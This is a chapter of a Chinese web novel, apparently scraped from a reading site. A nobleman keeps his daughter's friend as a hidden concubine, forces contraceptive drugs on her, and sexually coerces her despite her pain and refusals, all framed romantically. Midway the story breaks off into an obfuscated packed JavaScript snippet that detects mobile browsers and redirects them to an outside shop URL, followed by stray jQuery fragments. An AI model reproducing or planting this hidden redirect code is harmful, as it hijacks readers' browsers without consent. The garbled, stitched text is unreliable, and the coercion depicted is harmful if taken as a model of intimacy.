默认冷灰
24号文字
方正启体

7. 羡风筝

作者:手作小金鱼本书字数:K更新时间:
    春和景明,花园中绿意盎然,姹紫嫣红,卫凌霜穿着浅碧襦裙,林忆慈一身鹅黄罗衫,俱是姿颜姝丽,衬得满园奇花异卉都成了点缀。


    二人正在放风筝,两只大燕子拖着长长的尾巴,飞得高远。


    卫凌霜一直在放线,她的燕子飞得更高,几乎只有一个小黑点儿。


    线直直绷着,好像能拉着她飞上天空。


    卫凌霜仰着头,笑得很开心,道:“忆慈,来年你嫁去郑家,把我也带去,好吗?”


    林忆慈巴不得她们永远在一起,又有些担心:“郑家大姐姐是不是见过你?”


    “都几年前的事了,我长大了,她肯定认不出我。”


    林忆慈道:“那我和父亲说,就算他们怀疑,我们死不认账就是了。”


    卫凌霜眼睛一亮,此时风筝线绷得太紧,忽然啪得断了,风筝飘飘摇摇,不知坠到哪儿去了。


    “忆慈,抱歉。”卫凌霜歉疚地道,这风筝还是林忆慈给她的。


    林忆慈摆摆手:“没事儿,这是父亲去年给我做的,放了一年,不结实。”她微蹙眉,哼道:“真是的,他不记得去年做的是燕子,今年竟做了个一模一样的糊弄我。”


    林忆慈顺带也收了风筝,迫不及待去书房问林琰。卫凌霜在外面悄悄听着。


    “不行。”林琰道:“她生死都只能在侯府。”


    林忆慈蔫蔫地出来,她见卫凌霜低着头,比她更难过,携了她的手道:“没事儿,我隔三岔五就问一遍,父亲总会松口的。”


    卫凌霜勉强笑笑。


    她晚间离了荷风榭,往栖霞苑去,在廊庑下捡到了摔得稀烂的燕子,竹骨断裂,长长的燕尾对折,像一把剪子绞住燕头。


    风筝居然没飞出去。


    罗帐内,她觉得自己现在的姿势很像摔断的燕子风筝。


    “侯爷,我疼。”细细颤颤的声音压抑痛楚,含着哀求。


    林琰箍住她的脚踝,“受着。”


    “疼……”卫凌霜额间疼出了细密的冷汗。


    不仅是这个难受的姿势疼,那里也疼,肚子也疼。


    林琰行事喜欢点着蜡烛,明晃晃地照亮一室,所以他马上就发现她流血了。


    他放开了她,“不是前几日才来过月信吗?”


    林琰比她还记得她的日子,那几日他总不能尽兴。


    卫凌霜蜷缩着,捂着肚子轻喘:“肚子疼。”


    林琰叫人去请太医,亲自拿了帕子拭去血丝。


    太医隔着密不透风的帘帐把了脉,问了平素入口的东西,对林琰道:“可否观姑娘面相?”


    林琰点头。


    丫鬟挂起半侧帐帘,太医瞧见卫凌霜的脸,被恍了一下心神。


    肌肤瓷白如雪,五官昳丽如画。


    怪不得能让位高权重的羡宁侯金屋藏娇。


    他仔细瞧了,看着林琰,面露几分犹豫。


    林琰心领神会,同他去了外间。


    “侯爷,姑娘长期服用伤宫的寒药才会如此,学生开几贴药,但要治本,还是停了避子药为好。”


    林琰道:“已经用的是最温和的药了。”


    太医道:“避子药本就伤身,又兼姑娘心气郁结,若不停药,怕是迟早伤宫不孕。”


    林琰沉默半晌,道:“先开药吧。”


    他独自进了屋,坐在榻边,看着抱膝而坐的卫凌霜。


    “我得了不治之症吗?”卫凌霜平静地道。


    “没什么大碍,吃两剂药就好了。”他顿了顿,道:“太医说你心气郁结。”


    卫凌霜笑了,“你看不出来呀。”


    她其实想说,你瞎呀。


    林琰道:“以后不用吃避子药了。”


    卫凌霜立刻道:“我要吃。”


    “那东西伤身。”


    “你给我吃的时候难道不知道吗?”


    林琰被噎住了,他挪到她身边,抱着她道:“日后抬你做妾,生下儿女,让你能有个终生依靠。”


    “我不!”光是听到为他生孩子就恶心了。


    林琰道:“霜儿,你和他的婚事本就没成,把心里的包袱卸了吧。”


    “我不是不知廉耻的人。”


    林琰听她指桑骂槐倒不生气,只叹道:“那我怎么做,你才能开心一点儿?”


    “别碰我。”卫凌霜道:“我不想白天当忆慈的好姐妹,夜里在床上被你睡。”


    “你知道我不会答应。”


    “那别弄疼我,我说疼,你就停下。”卫凌霜的额头抵在膝上:“有些姿势,我真的摆不出来。”


    林琰抚摸她的发顶,温声道:“好,今日忆慈虽没直说,但我知道是你撺掇她求我的,我动了气才这样,以后不会如此了。”


    林琰忽觉衣袖被拉了拉,他见卫凌霜仍埋着头,声音闷闷的。


    “侯爷,我的风筝摔坏了,给我做个风筝吧。忆慈说过,你每年都会给她做。”


    林琰张了张口,好一会儿才说了个好字。


    没过两日,卫凌霜就拿到了林琰送给她的风筝,是一条大鱼,鱼背上涂墨为鳞。


    只二人在园子里,林琰斜倚着树,看着卫凌霜跑来跑去放风筝。


    少女脸颊有几丝绯红,微微喘息,鬓边落下几缕青丝,裙裾随风飘扬。


    她眉眼弯弯,明眸如星,笑声清脆,直入他耳。


    他第一次见她笑得这样开怀。


    林琰忽意识到许多个时候,床上床下她轻扬嘴角,那薄薄似一抹轻雾的笑并不真切。


    他的心似被蛰了一下。


    他公务繁忙,能挤出些时间给女儿做风筝已经不易了,这个是他今日从衙门回来的路上在街边摊随手买的。


    她那么开心,会不会是因为她以为这是他亲手做的?


    卫凌霜倒退着步子放线,脑袋撞到坚实的胸膛。


    林琰拢住她握着线轮的手,道:“霜儿,还有什么想要的?”


    卫凌霜仰头,抬眸看他,“我想你放过我。”


    林琰不说话。


    卫凌霜躲出他的怀抱,顺着天上的风筝跑,大声道:“我想等我人老珠黄,你就不想要了,可那时候……”她回身笑道:“那时候你半只脚都进棺材了。”


    林琰静静站在原地瞧她,觉得好气又好笑。


    林忆慈看见天上的风筝,寻着风筝线找来花园里,见果然是卫凌霜放的,面露喜色,正要喊她,忽见父亲立在不远处。


    他的目光追着她的身影。


    林忆慈拿着风筝大声道:“我也要玩!”


    万军之前色不变的林琰打了个激灵,卫凌霜手里的线轮一个没拿稳,落到地上。


    夜里,卫凌霜把鱼风筝摆到栖霞苑卧房的博古架上,小脸粉扑扑的,尚带着快乐的余韵。


    林琰倚着门框,静静看着她移开架上的商周玉琮,汝窑瓷器,把一个不值几文钱的风筝摆在价值千金的文玩间。


    他垂眸,道:“霜儿,真的没别的想要吗?”


    “我今晚想和忆慈睡,可以吗?”


    反正这几日也不能碰她。林琰道:“好。”


    卫凌霜高高兴兴地出了门,没走出几步,忽听林琰道:“等等。”</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092132|195474||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    她整个人僵住。


    “过两天再去吧。”


    “侯爷,为什么?”卫凌霜的声音有些干涩。


    林琰拉着她进了屋,拉下她的衣领轻抚脖颈:“这些印子还在,等消了再去。”


    “别添新的。”


    “好。”


    二人躺在床上,林琰道:“不如这几日就过了明路,收你作妾。”


    林琰想,没什么阻隔着他们。婚事没个影儿就作罢了,他没违礼法,且别说达官贵人,就是富裕小户,一树梨花压海棠的事都多了去了,何况他与凌霜差得也不大,她青春年华,他也正值壮年。


    卫凌霜使劲儿捏着他的胳膊,道:“我不要,就算你要强来,你打算怎么和她解释呢?又怎么和他解释?”


    他和她是谁,林琰心里门清得很。


    他道:“绥儿没见过你,他永远不知道你姓卫。至于忆慈,你一个孤女,想找个依靠,她会理解。”


    卫凌霜坐起来打了他胸膛两下:“你是说我勾引的你?”


    她气得唇瓣打颤。


    林琰叹道:“我亏欠她。”霸占了她视作姐姐的人,她知道了,会伤心。


    卫凌霜哭了:“你亏欠的是我。”


    卫凌霜背对着他蜷缩成一团。


    黑暗中,林琰能听见她微微的啜泣。


    “世叔。”


    林琰睁着眼睛。


    “我喜欢你给我做的风筝,像给忆慈的一样。”


    林琰心漏了一拍,道:“你把我当成了你的什么?”


    卫凌霜只是啜泣。


    林琰手肘撑着床,半起身,轻摇她的肩,“把你脑子里乱七八糟的东西收起来!”


    他的声音低沉,急促。


    “我爹每年也会给我做风筝,我就是羡慕忆慈。”卫凌霜泣道:“世叔,让我搬去和忆慈住吧,我做她的奴婢,我一辈子伺候她。”


    林琰胸膛起伏,明显气极了。黑暗中,他跨坐着,一手扶着她后脑,强压她贴过来。


    卫凌霜哭着挣扎。


    “下面不行,用上面。”


    “卫凌霜,你在我心里是女人。”


    卫凌霜哭着要离开。


    这事原用不了强,若要用强,要么她受伤,要么他受伤。


    林琰终究放开了她,看着黑暗中她的轮廓伏在床上抽泣。


    他整理衣裳,冷冷道:“不许再和忆慈见面。”


    卫凌霜顾不得哭,忙道:“侯爷,霜儿错了。”


    林琰双手捧着她的脸颊,道:“我是你的什么?”


    “……侯爷。”


    林琰道:“是什么?”


    坏人,烂人,妖魔鬼怪,魑魅魍魉。


    卫凌霜声音发颤,细如蚊蚋:“男人。”


    “你那些想法,一丝一毫都从脑袋里抹出去,抹得干干净净。”林琰轻叹道:“经了这么多次,你怎么还想不明白?”


    “我明白了。”


    “那个风筝……”林琰想说出真相,可他觉得她定要哭出来,“我喜欢你,才做给你的。”


    林琰摸到水渍,用指腹抹去她的眼泪。


    他心里叹了口气,这个答案,她也会哭。


    “侯爷,我明白了。”


    他们睡下了,许久的寂静后,卫凌霜悄悄抬眸看身侧人,他静静躺着,黑暗中只能隐约瞧见他峻挺的鼻峰,分明优美的颌面。


    她往被子里缩了缩,只露出两只眼睛,轻轻道:“侯爷,过两天,我能和忆慈睡吗?”


    林琰只有简短的两个字。


    “睡觉。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)